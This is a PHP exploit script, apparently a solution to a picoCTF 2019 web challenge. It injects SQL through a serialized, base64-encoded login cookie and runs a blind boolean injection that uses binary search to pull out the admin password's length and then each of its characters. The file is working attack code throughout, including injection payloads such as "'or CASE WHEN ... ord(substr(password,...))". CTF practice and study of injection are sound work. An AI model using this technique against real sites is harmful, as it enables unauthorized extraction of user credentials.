<?php
class siteuser{
	public $username;
	public $password;
}
function get($user)
{
	$cookie = urlencode(base64_encode(serialize($user)));
	$ch = curl_init();
	curl_setopt_array($ch,[
			CURLOPT_URL => 'https://2019shell1.picoctf.com/problem/62195/index.php?file=login',
			CURLOPT_HTTPHEADER => ['Cookie: user_info='.$cookie],
			CURLOPT_RETURNTRANSFER => 1,
			CURLOPT_HEADER=>1,
			CURLOPT_SSL_VERIFYPEER=>0,
	]);
	$response = curl_exec($ch);
	curl_close($ch);
	return $response;
}
function getLength()
{
	$a = new siteuser();
	$a->username = 'admin';
	for($i=1;$i<50;++$i){
		$a->password = "'or LENGTH(password)=${i} or 2='1";
		if(preg_match('/Location: index.php\\?file=regular_user/',get($a))!==1)
		{
			return $i;
		}
	}
}
function getPassword($length)
{
	$a = new siteuser();
	$a->username = 'admin';
	$password = '';
	while(strlen($password)<$length)
	{
		$low = 0;
		$high = 256;
		$index = strlen($password)+1;
		while($low!==$high)
		{
			$mid = intdiv($low+$high,2);
			$a->password = "'or CASE WHEN (${mid}<ord(substr(password,${index},1))) THEN 1 ELSE 0 END or 2='1";
			if(preg_match('/Location: index.php\\?file=regular_user/',get($a))===1) //not admin
			{
				$high = $mid;
			}
			else //admin
			{
				$low = $mid + 1;
			}
		}
		$password.=chr($low);
		echo $password.PHP_EOL;
	}
	return $password;
}
$length = getLength();
echo "Length: ${length}\n";
$pw = getPassword($length);
echo "Password: ${pw}\n";